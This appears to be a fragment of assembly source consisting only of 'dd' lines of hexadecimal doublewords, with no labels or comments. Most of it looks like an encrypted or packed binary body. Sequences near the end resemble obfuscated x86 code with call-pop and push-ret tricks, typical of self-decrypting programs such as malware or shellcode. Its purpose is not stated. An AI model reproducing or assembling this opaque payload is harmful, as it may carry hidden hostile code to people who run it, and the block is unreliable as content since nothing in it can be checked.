		dd 795C590Eh, 0E887EA9Ch, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h
		dd 30EBF7E3h, 15B7D360h, 3340E45h, 2416D80Eh, 0E887EAA5h
		dd 5340E4Dh, 5F0B0AE3h,	0ABE2EA60h, 30EBF3E3h, 15B7D360h
		dd 1B340E45h, 9952D90Eh, 0E887EAB2h, 5340E4Dh, 5F0B0AE3h
		dd 0ABE2EA60h, 30EBA3E3h, 15B7D360h, 1B340E45h,	0CB665B0Eh
		dd 0E887EAF8h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h,	30EBAFE3h
		dd 15B7D360h, 1B340E45h, 311A5D0Eh, 0E887EAB7h,	5340E4Dh
		dd 5F0B0AE3h, 0ABE2EA60h, 30EBABE3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 931994F3h, 79B79C60h,	0AF340E6Fh
		dd 30F33DE3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 9A7EA66h, 0CD340E4Dh, 39105CE3h, 4B79C60h, 0E2340E75h
		dd 54327D26h, 225A1566h, 7B321466h, 9A7EA66h, 0CD340E4Dh
		dd 391B90E3h, 48879E60h, 3340E4Ah, 5F2008FBh, 0D3879C60h
		dd 98340E67h, 9316C4FBh, 59AF9E60h, 0A9340E74h,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 0A3530E3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 17291437h, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 3EAF80EFh, 1558137Dh
		dd 8822150Eh, 44584766h, 9B38099h, 94BB137Dh, 8E29030Bh
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 798F9EB1h, 0A1340E6Fh
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 933530E3h
		dd 61A79E60h, 1B340E61h, 0A3344F3h, 82B61A60h, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24293EDFh
		dd 11321566h, 8BEF90A1h, 4432137Dh, 9FB11566h, 1713CC40h
		dd 80B61A66h, 0C9321566h, 30D68FBh, 0EEE1EA60h,	933330E3h
		dd 618F9660h, 46340E67h, 11509769h, 0DF51566h, 42291443h
		dd 22321567h, 0EF879806h, 53434BFh, 65C47CDBh, 0A9CC3E60h
		dd 2C8F9EB1h, 0B340E6Fh, 8401EAAFh, 0E30013ECh,	96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A8DB905Fh
		dd 0C03D137Dh, 22321571h, 207A8E5h, 8732137Dh, 44321FE3h
		dd 0FFB7D266h, 10340E64h, 0E9321566h, 4F9AD2DFh, 350BAF0Eh
		dd 989F4FBFh, 9333E4D3h, 0B874D260h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 10C3A0EFh, 71DB137Dh, 0CF32156Eh
		dd 0FFB726BEh, 0D0340E64h, 4A1916AEh, 7722D5A7h, 0FFAF9CA7h
		dd 2C340E64h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 9333E4D3h
		dd 59AF9E60h, 0A9340E74h, 71E29E6Dh, 0D19D7EDh,	4229253Fh
		dd 2130F5A7h, 0A3A20E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	5F2478F3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 15BF2E27h, 2D340E67h, 0EECDFDE3h,	6B879899h
		dd 0C93434BEh, 392648DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 5BBF9866h, 0BB340E2Ah, 7BF9C87h
		dd 4B340E61h, 15B9433Fh, 4229077Bh, 0A7B91EEDh,	17291243h
		dd 0D31F5B7h, 42290B1Bh, 44A4E355h, 13D2D4CBh, 80079065h
		dd 0E9A4137Dh, 0A16CD465h, 0A1ACCDBh, 0C3D1460h, 4432155Fh
		dd 9CB985Dh, 953D137Dh,	8832154Bh, 6D87985Dh, 0A63D137Dh
		dd 11321547h, 0A58B985Dh, 0C03D137Dh, 22321573h, 0FF7388EBh
		dd 5BCD1347h, 0C1BBEDEDh, 24290BF7h, 1134A18Fh,	0C9AF9866h
		dd 0BB343488h, 0FB8F96B5h, 11340E4Eh, 882F9169h, 0C1091566h
		dd 2429249Fh, 113E9169h, 0D091566h, 422905CBh, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 5F3500E3h, 3AB71A60h, 92321566h
		dd 932EC0DBh, 0C13D1560h, 2232156Dh, 0D25B90EBh, 1DDB1347h
		dd 7FCDEA99h, 393500E3h, 98B61A60h, 0BCDEA99h, 65EACADBh
		dd 0A73D1460h, 11321571h, 510C905Dh, 0C13D1347h, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0B38F9699h, 11340E6Bh
		dd 8B559169h, 0C1091566h, 2413CC4Ch, 94B91213h,	8E2914A3h
		dd 76B72E21h, 573434BFh, 44B79E61h, 0CF340E7Bh,	9D1C905Dh
		dd 25471347h, 113B90EDh, 0B375137Dh, 65EB23E3h,	0A9356060h
		dd 0A1FDCE3h, 0D095260h, 4213CC5Ch, 0A7B91213h,	17290B07h
		dd 0B6B72E21h, 313434BFh, 2FB79E61h, 56340E69h,	5170905Dh
		dd 43471347h, 200B90EDh, 2A75137Dh, 0A9EB53E3h,	0CF356060h
		dd 391768E3h, 94095260h, 8E13CC2Ch, 0C1B91213h,	24291697h
		dd 5FB72E21h, 0FD3434BFh, 1DB79E61h, 65340E6Dh,	0C864905Dh
		dd 8F471347h, 4E8B90EDh, 1975137Dh, 30EB47E3h, 0B226060h
		dd 5F319CDBh, 25471560h, 1C7B90EDh, 0B75137Dh, 5F2574DBh
		dd 2D461560h, 0C8EC905Dh, 8F471347h, 6D6790EDh,	0A175137Dh
		dd 0A34D8DBh, 0FA461560h, 568FA8E5h, 5632137Dh,	0D3B72E0Fh
		dd 0FD3434BFh, 79B79E61h, 65340E7Eh, 0C8E0905Dh, 8F471347h
		dd 43CB90EDh, 1975137Dh, 30EBD3E3h, 3356060h, 5F3584E3h
		dd 0A7095260h, 1713CCB0h, 0DB91213h, 422925BFh,	0F8B72E21h
		dd 643434BFh, 51B79E61h, 3340E48h, 0FBF8905Dh, 16471347h
		dd 8F7B90EDh, 7F75137Dh, 3EBDBE3h, 9A356060h, 933BE8E3h
		dd 0F9B15260h, 242907DBh, 1BB61A66h, 0B3321564h, 65EB4FE3h
		dd 0A9356060h, 0A2524E3h, 0D095260h, 4213CC88h,	0A7B91213h
		dd 172912A3h, 0D6B72E21h, 313434BFh, 0BFB79E61h, 56340E70h
		dd 5150905Dh, 43471347h, 221390EDh, 2A75137Dh, 0A9EB73E3h
		dd 0CF356060h, 3910D4E3h, 94095260h, 8E13CC0Ch,	0F9B10513h
		dd 242916EFh, 9A356066h, 933BE0E3h, 0C1095260h,	2413CC08h
		dd 94B91213h, 8E2934DFh, 36B72E21h, 573434BFh, 988F9676h
		dd 88340E65h, 0C1B91213h, 24293777h, 67B72E21h,	0FD3434BFh
		dd 91B79E61h, 65340E78h, 0C848905Dh, 8F471347h,	492390EDh
		dd 1975137Dh, 30EB97E3h, 0B226060h, 5F319CDBh, 25471560h
		dd 197390EDh, 0B375137Dh, 65EB6BE3h, 0A1226060h, 0A319CDBh
		dd 8F471560h, 55A390EDh, 1975137Dh, 30EB93E3h, 3356060h
		dd 5F1974E3h, 0A7095260h, 1713CCECh, 0DB91213h,	42291897h
		dd 0ACB72E21h, 643434BFh, 0ADB79E61h, 3340E64h,	0FBA0905Dh
		dd 16471347h, 8AE790EDh, 7F75137Dh, 3EB83E3h, 9A356060h
		dd 932CE0E3h, 0C1095260h, 2413CCFCh, 94B91213h,	8E2907BBh
		dd 0DAB72E21h, 573434BFh, 0A4B79E61h, 0CF340E67h, 9D90905Dh
		dd 25471347h, 103B90EDh, 0B375137Dh, 5F0118E3h,	0A9356060h
		dd 0A0328E3h, 0D095260h, 4213CCC0h, 0A7B91213h,	17290B13h
		dd 6AB72E21h, 313434BFh, 0C88F967Fh, 113434BFh,	35B11C13h
		dd 42293DBFh, 0A9356166h, 0A1C74E3h, 0D095260h,	4213CC80h
		dd 9FB10C13h, 1713CC8Ch, 0B3B6066h, 5F1ACCDBh, 25461560h
		dd 160F90EDh, 0B375137Dh, 65EBBFE3h, 0A9356060h, 0A3CECE3h
		dd 0D095260h, 4213CCC8h
		dd 0A7B91213h, 17290693h, 3AB72E21h, 313434BFh,	0DBB79E61h
		dd 56340E71h, 5184905Dh, 43471347h, 12C390EDh, 2A75137Dh
		dd 0A9EBAFE3h, 0CF356060h, 39313CE3h, 94095260h, 8E13CCD8h
		dd 0C1B91213h, 24290257h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 1729312Fh, 88399069h, 0C1BF1566h, 24136E17h
		dd 0EEC9C68Fh, 0E5B72E99h, 4B340E6Fh, 22320DE3h, 0CE8F9666h
		dd 893434BEh, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 5EB72E99h, 2D3434BFh, 113219E2h, 96B72E66h, 4B3434BFh
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 513C905Dh, 0C13D1347h, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 3EB07E3h, 1AB71A60h, 5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E13CC70h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0A3878D3h
		dd 89879C60h, 0C4340E69h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 7C8F2E66h, 87340E6Ch,	44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	2429372Fh
		dd 1B2B90A1h, 8832137Dh, 0CD521566h, 393D14D3h,	33AF9860h
		dd 77343492h, 66B01AB5h, 0AF321566h, 3142BAFBh,	87E1EA60h
		dd 0BBCDCBE5h, 23879E99h, 98340E69h, 93380CD3h,	61AF9860h
		dd 0DD343459h, 7CB79EB5h, 1340E6Ch, 5F3D14E3h, 0BFBF7460h
		dd 1713E5EDh, 15BFC699h, 4213E615h, 0A13DC699h,	1132156Ah
		dd 873390E5h, 0AD37137Dh, 0DDCDEAB8h, 0E2AE88EBh, 5BCD1347h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	421265C9h
		dd 0A13DC699h, 1132156Dh, 8733A0EDh, 0C4DB137Dh, 0A9321561h
		dd 0A3D14EBh, 89879C60h, 6F340E69h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 7B4F88EBh, 0F1CD1347h, 9419D2EDh,	8E29372Fh
		dd 5CBF90EFh, 0A7B9137Dh, 1729372Fh, 5BF4531h, 42132A94h
		dd 0A7B9C499h, 17293CE3h, 0DB94236h, 4229372Fh,	3BF9836h
		dd 0EE343426h, 3E29EB7h, 0C1BF3EAEh, 0A1340E4Fh, 0A169CDBh
		dd 0C3D1560h, 4432154Dh, 8CB90EDh, 9419137Dh, 8E2931EFh
		dd 0C23DD45Dh, 22321571h, 350790EDh, 0D31137Dh,	422931EFh
		dd 3CA390EFh, 52DB137Dh, 0D9321566h, 497AD4EDh,	22321A99h
		dd 0E8B79C26h, 89340E4Ch, 5F2CF0E3h, 0ABB7D260h, 11340E42h
		dd 0E2321566h, 54327D26h, 48631566h, 90A7EA66h,	77340E4Dh
		dd 5F258CF3h, 17B79C60h, 98340E42h, 932C84E3h, 0F1CD4C60h
		dd 24290BF7h, 38B7A099h, 7765137Dh, 5F105CD3h, 91B79860h
		dd 0EE343422h, 1BF14B6h, 0CF340E42h, 392C84DBh,	94879E60h
		dd 7B340E4Fh, 0B5879EC2h, 8F340E67h, 11CE53A1h,	49321566h
		dd 833710A6h, 215A1ECEh, 0A2D00E3h, 19BF9E60h, 0CD340E78h
		dd 64F5B86Eh, 1132159Ah, 79879C66h, 0C7340E67h,	0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 0B5879C62h, 0CB340E67h, 0EECDE380h, 8B31D5A7h
		dd 5F2D00E3h, 0AF8F9660h, 10340E6Fh, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 0AEBA8E5h,	1E33137Dh
		dd 88322BE2h, 4532AD66h, 9FB11566h, 1713CC40h, 80B61A66h
		dd 0C9321566h, 375E1FBh, 91E1EA60h, 0C3D8559h, 4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 0A9EB33DBh, 0C03D1560h, 2232156Eh, 56F688EBh, 5BCD1347h
		dd 0CF3652EEh, 392C84E3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 89C3A0EFh, 2C60137Dh, 22329566h
		dd 0A4CD150Ch, 8E29030Bh, 44078099h, 0A968137Dh, 0A2008EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 1729077Bh, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 0A2008EBh, 13B9E60h, 65EB37EBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24293D8Bh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0A1879866h
		dd 0A9340E4Ch, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 24293F83h, 35CF90EDh
		dd 48B7137Dh, 44289069h, 0A7F41566h, 172936FBh,	2FE07D21h
		dd 0F1CDC1FCh, 24293A77h, 617490EBh, 58CD1378h,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 932864E3h, 4BF29060h, 22320FE3h
		dd 8CB7D366h, 0C4340E45h, 9E2EFC0Eh, 3387EABFh,	9C340E49h
		dd 964253E3h, 16E2EA60h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 3EB37E3h, 9C644560h, 965869E3h, 4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 30EB37EBh, 49B94560h, 0CF0E5565h, 22329DF6h,	4CA79C66h
		dd 8D340E68h, 4432159Eh, 0AB3E45EDh, 0A3F28F3h,	0CCB94D60h
		dd 85193142h, 2F0F905Dh, 933D137Dh, 88321576h, 4A6F905Dh
		dd 0A13D137Dh, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 0F1BF9866h,	0EE340E2Ah
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 2413CC94h, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 933878E3h, 5DA79E60h, 0A9340E6Ch,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 2D33A0EFh, 4A6D137Dh, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 1713CC94h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 393878E3h, 8A79E60h, 0B340E6Ch, 5F19ACDBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0B6B7D266h, 203434BFh, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 42291F0Bh
		dd 282B80EDh, 0ACB1137Dh, 8E293EDFh, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 5F3D14D3h,	9BB7D260h
		dd 10340E4Dh, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 0E3B7D299h, 8D3434BFh, 0CF321566h
		dd 26F196B8h, 94B90B65h, 8E291F0Bh, 4E2B80EDh, 0A17C137Dh
		dd 0A31C8DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 2D33A0EFh, 8CB9137Dh, 8E13CC94h
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E2916BBh, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 5F19ACDBh, 0A63D1460h
		dd 113215DDh, 825F884Dh, 0C9B9137Dh, 2429372Fh,	0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 2413CC94h, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	5F3878E3h, 3BA79E60h, 0F8340E6Ch
		dd 77CDEA20h, 9DC090A1h, 22301347h, 0CFB91566h,	83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 0E5B79EBFh, 0CF340E6Ch, 39380CF3h
		dd 0A88F9660h, 89340E4Dh, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 4E2B98EDh, 0EBB7137Dh, 11349069h, 3DBB1566h,	42291F7Fh
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	0A380CD3h
		dd 0ADAF9860h, 0BB343459h, 72F1ECB5h, 982253EDh, 93024CE3h
		dd 82B14D60h, 178F987Ah, 0BC340E6Eh, 0AC165165h, 0B58F98CDh
		dd 8F340E57h, 35165165h, 35BFBE36h, 42290B1Bh, 67616CBh
		dd 0D26CBE4Eh, 76AF9830h, 0BB343458h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 644270C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43ABD6B0h, 2532DCF1h
		dd 0BA8C34EEh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 756BFB38h, 0DF07462Ch, 528995D3h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0F668BC2Fh
		dd 3C525076h, 90092611h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83297548h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0E317FB23h
		dd 25FB5B0Fh, 0FDF53FD5h, 544FFBADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73DCC90Bh, 0C7F5FFA0h
		dd 0C87D7C0Eh, 0F305E983h, 8DDB8BA4h, 21D9FEBDh, 0E58D8D06h
		dd 0B80621F4h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0D1BD83C0h, 61B23h, 0BD830975h
		dd 61B3129h, 50197400h,	0B8C08B53h, 411h, 21318589h, 9D8D061Bh
		dd 61DA6B4h, 585BD3FFh,	3129BD83h, 7400061Bh, 0B8535017h
		dd 411h, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 21F7358Dh, 8D89F906h, 61B2429h, 0AE9h, 4264AA00h
		dd 49D1645h, 0F836600h,	68Ah, 69BD8900h, 0C7061B07h, 1B076585h
		dd 6D4C06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E9ED9D09h, 7, 0AF8A9A25h, 0C7B81C8Bh
		dd 1B13D185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 786F8938h, 0B5FFF5E9h
		dd 61B18DDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	75C35242h, 0B58B4031h, 61B2BB1h, 0FFF0B70Fh, 1B2F8595h
		dd 199D3306h, 6A061B1Fh, 595FF00h, 8B061B22h, 0AB7DEBC0h
		dd 7E6F5F67h, 156C83Fh,	78D1AF30h, 66A88B6Bh, 23A428BBh
		dd 0AEA0AE7Bh, 0D678F6BFh, 65A8E040h, 392856D1h, 0B4908378h
		dd 0FC5EAE91h, 0A59C2DEBh, 31CA7726h, 9C24848Fh, 4FF5A9F2h
		dd 701C03E3h, 0E6B3295Bh, 0C56DFBF2h, 0D4F6B339h, 36B4CF52h
		dd 0E23D2B99h, 0E97AB626h, 57B10326h, 23ABB93Ah, 0E267D870h
		dd 2E760B38h, 0AD707E06h, 0D003135h, 57922707h,	32B72665h
		dd 0E920C1ECh, 255E04EBh, 0DBE92498h, 59000005h, 0AE1801Bh
		dd 55AA4DECh, 0FCD3761Dh, 1EB554EFh, 680DAC53h,	2BD29F32h
		dd 0D679778Ch, 32D19C33h, 0DC7F788Fh, 850A893Dh, 38E98A74h
		dd 1EA3220Bh, 0E98A58A1h, 807A3738h, 8C0E3CD9h,	0DC1B66ECh
		dd 0E026B239h, 493C8823h, 5E95AE52h, 9A69EC93h,	0E7866759h
		dd 0E17EFC4Eh, 9166C569h, 0C92AC366h, 0D3720BAEh, 3C08D14Eh
		dd 8A673EC8h, 0A747C970h, 422E2452h, 6F84219Fh,	0B241DE81h
		dd 5A8A23C6h, 0E273A1B0h, 0C7B0353Ch, 7F6E8524h, 79FC41E0h
		dd 0C83CE3FAh, 0A74A253Eh, 4AC03C0Eh, 3EE28971h, 9AD6CCA9h
		dd 6EEC5EF7h, 74F174D1h, 0C83CEEEFh, 7E03813Eh,	3EC83C7Fh
		dd 0D6E87412h, 73949A2Ah, 5F996E12h, 58DC8965h,	60E0C061h
		dd 0F9961496h, 598CE311h, 228657DCh, 6BD93EC8h,	983736CBh
		dd 32B134F9h, 3EC822ABh, 5F5B32C6h, 7821FA09h, 768156FAh
		dd 748350D3h, 0B0BF34D1h, 58DA700Dh, 16E45FB8h,	7E3EC867h
		dd 0ED63CDA4h, 6B0284CBh, 68h, 39DC1BD7h, 1913DDB2h, 0A7A33CDFh
		dd 3AB98C29h, 3EC87DA3h, 26CA48BEh, 7DA5360Dh, 31CD3EC8h
		dd 2C5DEB1Eh, 0D952A409h, 0F26AA444h, 640284B4h, 1, 3CDB1BDEh
		dd 150BEAB9h, 0AD9D3AD9h, 9961922Bh, 77D070F2h,	3AD3727Ch
		dd 89B97D0Bh, 5FEB9268h, 55F92283h, 3FD87380h, 961B36F8h
		dd 0C116B958h, 0AE7413B6h, 0B437DE1Bh, 0A17828h, 0C19AD1E4h
		dd 0CF7B14B7h, 11DD162Fh, 531ED572h, 9B2913ACh,	2514B0Dh
		dd 3EE10EE3h, 65ECBAA1h, 0E7457F29h, 0A9279755h, 5EE36E38h
		dd 0B64DEC93h, 10AFBFB9h, 0B855D377h, 14BBB68Dh, 0EC935F74h
		dd 5AF58F53h, 855388F0h, 89EE02h, 1B540000h, 559E37DEh
		dd 5ED9761Dh, 0CA4E81D0h, 0D7A36915h, 0A439DDCEh, 6C8326CDh
		dd 441DE85h, 0EE76A78h,	15EE88C8h, 469B3BD6h, 7E038A25h
		dd 0C8CEF801h, 0A0DA973Eh, 6CEE5CF9h, 956F73CCh, 672850BAh
		dd 38C40285h, 0D02D4BCBh, 0C902A64Fh, 4Eh, 37DE1B39h, 551B28B4h
		dd 87FB11DDh, 0C8A54EE7h, 0BC628C29h, 9D4930B5h, 0C840C716h
		dd 9239413Eh, 6AD555F5h, 0C84014E5h, 5BDD6B3Eh,	40825BD8h
		dd 67DD3EC8h, 1B0046E9h, 0A0A33CDBh, 3EC87D5Ah,	37A1B04Ah
		dd 284B201h, 157h, 0DF1BAB00h, 2BA69F38h, 0C87D55A4h, 0FA9E2C3Eh
		dd 0E4670AE5h, 0A740DF0Fh, 0E02A03A3h, 825BD85Dh, 0DD3EC87Dh
		dd 7D1CDD62h, 0D5733EC8h, 649B353h, 2FD27981h, 0E06366FBh
		dd 0F546A163h, 0B34CBAC4h, 0F5943740h, 0D16E11DEh, 2C9A6972h
		dd 501FA6C7h, 0C2AE832Ah, 24C4861Fh, 5F277FAh, 4F28BF62h
		dd 5DA329ACh, 5E9849C1h, 42B18A2Eh, 66F59235h, 48E310DFh
		dd 6EF37EA8h, 0C46B8781h, 6F931F2Bh, 20AFF765h,	13E063E5h
		dd 0A5A542E5h, 70E82201h, 0E6FC6998h, 15Bh, 55966D5Ch
		dd 9CD61DBAh, 73F073F5h, 3EC87D6Ah, 2DDF7F05h, 1EAA3198h
		dd 610EE996h, 709647E6h, 0AE189C28h, 0E867EA8Eh, 0C4F5999Eh
		dd 18E15EE1h, 77C72DE6h, 0F4058A11h, 8BC72DE7h,	2BF87BFDh
		dd 3C0EA74Eh, 8770839Ch, 0C1AE45E4h, 41C4811Eh,	2DE73BC2h
		dd 50F056C7h, 730BBCBBh, 0E2F703B7h, 0E44F8C6Fh, 0D250F2C6h
		dd 0FCF6CD50h, 0EE92B855h, 19580655h, 35B85B94h, 4CEC935Eh
